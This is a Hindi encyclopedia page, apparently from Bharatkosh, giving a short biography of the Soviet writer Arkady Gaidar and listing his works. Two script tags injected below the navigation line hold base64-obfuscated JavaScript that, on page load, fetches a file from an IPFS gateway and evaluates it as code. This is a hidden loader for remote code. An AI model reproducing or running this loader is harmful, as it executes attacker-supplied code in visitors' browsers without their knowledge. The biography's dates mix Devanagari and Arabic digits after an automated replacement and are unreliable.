गैदार
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०७:३९, १८ अगस्त २०११ का अवतरण (Text replace - "६" to "6")
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- गैदार (मूल नाम- गोलिकोव अर्कादी पेत्रोविच (९-2-1९०4-26-1०-1९41) रूसी लेखक।
- गैदार 14 वर्ष की आयु में लाल सेना में स्वयंसेवक बनकर आए। 1७ वर्ष की आयु में रेजिमेंट के कमांडर हुए। अस्वस्थता के कारण[१] में सेना से छुट्टी मिली और साहित्यिक कार्य प्रारंभ किया।
- महान् देशभक्तिपूर्ण युद्ध के समय गैदार मोर्चों पर गए वहीं फासिस्टों ने उन्हें मार डाला। गैदार ने किशोरोपयोगी साहित्य को बड़ी देन दी।
- गैदार के अनेक उपन्यास और कहानियाँ हैं, जिनमें मुख्य स्कूल[२] दूरवर्ती देश [३]सैनिक रहस्य [४] नीला प्याला [५]चुक और गेक[६]तिमूर और उसका दल [७] हैं।
- गैदार की कृतियों में मैत्री, साहस तथा देशभक्ति की भावनाएं परिपूर्ण हैं जिनके कारण ये रचनाएँ अति लोकप्रिय हैं। इनके आधार पर अनेक फिल्में भी बनी हैं। अनेक भाषाओं में, जिनमें हिन्दी भी सम्मिलित है, गैदार की कृतियाँ अनूदित हैं।